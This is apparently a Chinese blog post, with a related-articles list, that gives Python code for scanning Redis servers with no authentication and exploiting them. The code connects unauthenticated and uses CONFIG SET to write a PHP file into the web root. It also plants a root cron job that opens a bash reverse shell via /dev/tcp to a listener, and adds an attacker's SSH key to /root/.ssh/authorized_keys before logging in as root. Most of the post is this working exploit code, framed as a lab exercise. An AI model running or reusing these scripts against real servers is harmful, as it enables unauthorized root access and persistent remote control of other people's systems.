当前位置: 首页 > news >正文

redis未授权漏洞扫描器

前言

redis未授权访问漏洞:可以getshell,因此值得深入学习

详细内容可以查看另一篇博客:

https://blog.csdn.net/m0_74167420/article/details/151897240?fromshare=blogdetail&sharetype=blogdetail&sharerId=151897240&sharerefer=PC&sharesource=m0_74167420&sharefrom=from_link

由于审核原因payload部分进行简写

实现

redis未授权漏洞扫描器实现的步骤

1.扫描端口,默认端口=6379
2.扫描端口存在则进行连接,能连上既然为存在!
3.最后来 getshell

进行getshell的三种方法

1.webshell
apache的路径:/var/www/html


2.crontab
写定时任务
\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/反弹的ip/反弹的端口 0>&1\n\n
redis-cli config set dir /var/www/html

3.SSH免密
原理:ssh免密登录,把公钥写入.ssh

方法一:通过写入 webshell 来 getshell
import pymongo
import socket
import redisdef scanport(ip):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(0.3)try:s.connect((ip, 6379))print("端口开放!!!!")s.close()check_redis_connect(ip)except Exception as e:print(e)passdef check_redis_connect(ip):try:client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)print(client.client_list())print("[+] redis 未授权漏洞存在")webshell_exp(client)except Exception as e:print(e, "[!] redis 未授权漏洞不存在")def webshell_exp(redis_client):# **通过redis数据备份功能,往WEB网站根目录写入一句话木马,利用shell** **得到WEB网站权限**# 1.找到web服务器的根目录root = '/var/www/html'redis_client.config_set('dir', root)redis_client.config_set('dbfilename', 'shell.php')redis_client.set('x', '<?php phpinfo(); ?>')redis_client.save()print("webshell已经写入成功")ip = "加入redis靶机的IP"
scanport(ip)

shell.php写入成功

方法二:通过定时任务(crontab)反弹shell
import pymongo
import socket
import redisdef scanport(ip):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(0.3)try:s.connect((ip, 6379))print("端口开放!!!!")s.close()check_redis_connect(ip)except Exception as e:print(e)passdef check_redis_connect(ip):try:client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)print(client.client_list())print("[+] redis 未授权漏洞存在")crontab_exp(client)except Exception as e:print(e, "[!] redis 未授权漏洞不存在")def crontab_exp(redis_client):root = '/var/spool/cron'redis_client.config_set('dir', root)redis_client.config_set('dbfilename', 'root')redis_client.set('s', '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/监听主机ip/8888 0>&1\n\n')redis_client.save()print("定时任务已创建")ip = "redis靶机IP"
scanport(ip)

方法三:SSH免密登录

首先要在攻击机(kali上执行命令获取到自身的公钥),然后将脚本在 kali 上运行。

import paramiko
import socket
import redissshkey = 'kali ssh 公钥'def scanport(ip):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.settimeout(0.3)try:s.connect((ip, 6379))print("端口开放!!!!")s.close()check_redis_connect(ip)except Exception as e:print(e)passdef check_redis_connect(ip):try:client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)print(client.client_list())print("[+] redis 未授权漏洞存在")ssh_exp(client, ip)except Exception as e:print(e, "[!] redis 未授权漏洞不存在")def ssh_exp(redis_client, ip):root = '/root/.ssh'redis_client.config_set('dir', root)redis_client.config_set('dbfilename', 'authorized_keys')redis_client.set('n', '\n\n' + sshkey +'\n\n')redis_client.save()print("免密登录已完成")connect_ssh(ip)def connect_ssh(ip):ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip, 22, 'root', sshkey)print("ssh 连接成功")except Exception as e:print(e, "连接失败")ip = "redis靶机IP"
scanport(ip)

http://www.dtcms.com/a/393002.html

相关文章:

  • LTE/EPC 架构
  • ANSYS学习
  • 【python】安装jieba库
  • tyza66的博客:专注软件开发、全栈开发与开源项目的技术分享
  • Redis最佳实践——购物车优化详解
  • Netty从0到1系列之Netty内存管理【下】
  • 【使用函数求余弦COS函数的近似值】2022-11-27
  • 前端违规页面车主信息优化说明
  • 成功安装了 Anaconda3。要启动它,您有以下几种主要方式:方式一:通过“开始菜单”启动(最直接的方法)1. 点击您电脑屏幕左下角的 “开始菜单”(Win
  • flex布局实现导航栏横向滚动切换
  • 改进过程缺乏数据驱动会带来哪些后果
  • 实验1.1点亮led灯
  • 林粒粒的视频笔记13-数据清洗
  • Java进阶教程,全面剖析Java多线程编程,线程出让,笔记09
  • 大模型微调之 用LoRA微调Llama2(附代码)——李宏毅2025大模型作业5笔记-上
  • Matplotlib地理数据可视化技术详解:Cartopy与Basemap实战指南
  • wordpress 图片不显示 后台无法登陆的问题之一
  • TFS-2023《Local-Global Fuzzy Clustering With Anchor Graph》
  • Spring —— AOP
  • 讲一下ZooKeeper的持久化机制
  • 【Java后端】深入理解 Spring Security:从原理到实战
  • LeetCode:31.K个一组翻转链表
  • openharmony之系统亮度范围定制
  • 一种利用串口51单片机远程升级 OTA
  • Redis三种集群模式
  • C++ map_set封装
  • NW836NW884美光固态闪存NW885NW913
  • STM32计算步进电机转速
  • liboffice 全屏禁用工具栏
  • Photoshop - Photoshop 调整图像品质